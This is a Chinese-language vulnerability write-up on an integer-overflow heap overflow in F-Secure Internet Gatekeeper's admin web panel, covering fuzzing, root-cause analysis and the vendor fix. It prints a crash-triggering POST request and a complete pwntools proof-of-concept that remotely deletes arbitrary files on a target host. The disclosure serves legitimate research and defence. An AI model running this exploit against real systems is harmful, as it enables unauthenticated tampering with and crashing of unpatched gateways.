0x00 前言
本文介绍了我们在F-Secure Internet Gatekeeper应用中发现的一个漏洞,攻击者可利用该漏洞实现未认证远程代码执行效果。
0x01 环境搭建
我使用的是CentOS虚拟机,1个处理器核心,4GB内存。我们需要从官网下载并安装F-Secure Internet Gatekeeper。根据我们了解,目前厂商已经下架了存在漏洞的版本。
受影响的原始安装包SHA256哈希值为:1582aa7782f78fcf01fccfe0b59f0a26b4a972020f9da860c19c1076a79c8e26
。
安装过程如下:
1、如果使用的是x64版的CentOS,执行yum install glibc.i686
;
2、使用rpm -I <fsigkbin>.rpm
安装Internet Gatekeeper;
3、为了更方便调试,可以安装gdb 8+及GEF。
现在可以使用GHIDRA/IDA或者拿手的反汇编器/反编译器开始逆向分析Internet Gatekeeper。
0x02 漏洞分析
根据F-Secure描述,Internet Gatekeeper是“在网关级别针对企业网络的高效且易管理的防护解决方案”。
F-Secure Internet Gatekeeper包含一个控制面板,运行在9012/tcp
端口上。该面板可以用来控制产品中可用的所有服务及规则(HTTP代理、IMAP代理等)。控制面板通过HTTP协议访问,由fsikgwebui
程序实现,该程序采用C语言编写。实际上整个web服务端都采用C/C++开发,其中部分引用到了civetweb
,这表明服务端可能使用的是自定义版的CivetWeb。
既然服务端采用C/C++开发,我们就可以尝试寻找内存破坏漏洞,这是这种语言中经常出现的问题。
我们选择使用Fuzzotron来fuzz管理面板,这是使用Radamsa作为底层引擎的fuzzer,很快我们就找到了这类漏洞。fuzzotron
内置TCP支持,便于fuzz网络服务。在测试种子方面,我们提取了一个有效的POST请求,该请求用来更改管理面板的语言设置。未授权用户可以发起该请求,因此非常适用于作为fuzz种子。
在分析radamsa
的输入样例时,我们可以看到该漏洞的根源与Content-Length
头部字段有关。导致软件崩溃的测试用例头部特征为:Content-Length: 21487483844
,这表明溢出漏洞与不正确的整数计算有关。
在gdb
中调试测试用例后,我们发现导致崩溃的代码位于fs_httpd_civetweb_callback_begin_request
函数中,该方法负责处理入栈连接,根据HTTP操作类型、路径或者所使用的cookie来将请求分发至相关的函数进行处理。
为了演示漏洞,我们向管理面板所在的9012
端口发送POST请求,其中设置了巨大的一个Content-Length
头部值:
POST /submit HTTP/1.1
Host: 192.168.0.24:9012
Content-Length: 21487483844
AAAAAAAAAAAAAAAAAAAAAAAAAAA
目标应用会解析该请求,执行fs_httpd_get_header
函数来获取Content-Length
值。随后,该字段值会被传递给strtoul
(字符串转换为无符号长整型)函数进行处理。
相关控制流对应的伪代码如下所示:
content_len = fs_httpd_get_header(header_struct, "Content-Length");
if ( content_len ){
content_len_new = strtoul(content_len_old, 0, 10);
}
为了理解strtoul
函数的处理逻辑,我们可以查看对应的man
页面。strtoul
的返回值类型为无符号长整型,最大值为2^32-1
(32位系统上)。
strtoul()
函数会返回转换结果,如果输入值带有减号前缀,则返回转换结果的取反值作为无符号值。如果(非负)原始值溢出,strtoul()
会返回ULONG_MAX
,并将errno
设置为ERANGE
。整个处理逻辑与strtoull()
相同(后者对应的是ULLONG_MAX
)。
由于我们提供的Content-Length
对无符号长整型来说过长,因此strtoul
会返回ULONG_MAX
值,32位系统上对应的是0xFFFFFFFF
。
接着看一下漏洞逻辑。当fs_httpd_civetweb_callback_begin_request
函数尝试执行malloc
请求,为我们的数据分配空间时,首先会在content_length
变量上加1
,然后调用malloc
。
相应的伪代码如下所示:
// fs_malloc == malloc
data_by_post_on_heap = fs_malloc(content_len_new + 1)
由于0xFFFFFFFF + 1
会出现整数溢出,因此得到的结果值为0x00000000
,最终malloc
会分配大小为0
字节的内存空间。
malloc
的确允许我们使用0
字节参数来调用,当调用malloc(0)
时,函数会返回指向堆的一个有效指针,该指针指向大小最小的一个chunk(大小为0x10
字节)。我们也可以在man
页面中了解这一行为:
malloc()
函数会分配size
字节大小的空间,返回指向已分配内存的一个指针,该内存区域未经初始化。如果size
等于0
,那么malloc()
就会返回NULL
或者一个有效的指针值,以便后续free()
执行释放操作。
如果进一步分析Internet Gatekeeper的代码,可以看到其中调用了mg_read
。
// content_len_new is without the addition of 0x1.
// so content_len_new == 0xFFFFFFFF
if(content_len_new){
int bytes_read = mg_read(header_struct, data_by_post_on_heap, content_len_new)
}
在溢出过程中,该代码会读取堆上任意数量的数据,没有任何约束条件。对于漏洞利用而言,这是非常优秀的一个利用原语,我们可以停止向HTTP流写入数据,目标软件会简单关闭连接并继续执行。在这种情况下,我们可以完全控制希望写入的字节数。
总而言之,我们可以利用malloc
返回的0x10
大小chunk,通过任意数据溢出来覆盖已有的内存结构。这里我们可以参考如下PoC代码,这段代码比较粗糙,利用了堆上已有的一个结构,修改标志值(should_delete_file = true
),然后将我们想要删除的文件完整路径喷射到堆上。Internet Gatekeeper内部处理程序中包含一个decontruct_http
方法,该方法会寻找该标志,执行文件删除操作。利用这一点,攻击者可以删除任意文件,这足以说明漏洞的严重程度。
from pwn import *
import time
import sys
def send_payload(payload, content_len=21487483844, nofun=False):
r = remote(sys.argv[1], 9012)
r.send("POST / HTTP/1.1\n")
r.send("Host: 192.168.0.122:9012\n")
r.send("Content-Length: {}\n".format(content_len))
r.send("\n")
r.send(payload)
if not nofun:
r.send("\n\n")
return r
def trigger_exploit():
print "Triggering exploit"
payload = ""
payload += "A" * 12 # Padding
payload += p32(0x1d) # Fast bin chunk overwrite
payload += "A"* 488 # Padding
payload += p32(0xdda00771) # Address of payload
payload += p32(0xdda00771+4) # Junk
r = send_payload(payload)
def massage_heap(filename):
print "Trying to massage the heap....."
for x in xrange(100):
payload = ""
payload += p32(0x0) # Needed to bypass checks
payload += p32(0x0) # Needed to bypass checks
payload += p32(0xdda0077d) # Points to where the filename will be in memory
payload += filename + "\x00"
payload += "C"*(0x300-len(payload))
r = send_payload(payload, content_len=0x80000, nofun=True)
r.close()
cut_conn = True
print "Heap massage done"
if __name__ == "__main__":
if len(sys.argv) != 3:
print "Usage: ./{} <victim_ip> <file_to_remove>".format(sys.argv[0])
print "Run `export PWNLIB_SILENT=1` for disabling verbose connections"
exit()
massage_heap(sys.argv[2])
time.sleep(1)
trigger_exploit()
print "Exploit finished. {} is now removed and remote process should be crashed".format(sys.argv[2])
目前漏洞利用的成功率为67~70%,并且我们的PoC依赖于前面所搭建的测试环境。
由于我们可以精准控制chunk大小,在小chunk上覆盖尽可能多数据,因此该漏洞肯定能达到RCE效果。此外,目标应用使用了多个线程,因此我们可以利用该特点进入干净的堆区域,多次尝试漏洞利用。如果大家想进一步跟我们合作,可以将RCE PoC发送至我们的<a href=”info@doyensec.com“>邮箱。
F-Secure为该问题分配的编号为FSC-2019-3,在5.40 – 5.50 hotfix 8版的Internet Gatekeeper(2019年7月11日发布)中修复了该漏洞。
0x03 参考资料
Linux堆溢出利用系列文章
- Linux Heap Exploitation Intro Series: Set you free() – part 1
- Linux Heap Exploitation Intro Series: Set you free() – part 2
GLibC背景知识
- GLibC Malloc for Exploiters – YouTube
- Understanding the GLibC Implementation – Part 1
- Understanding the GLibC Implementation – Part 2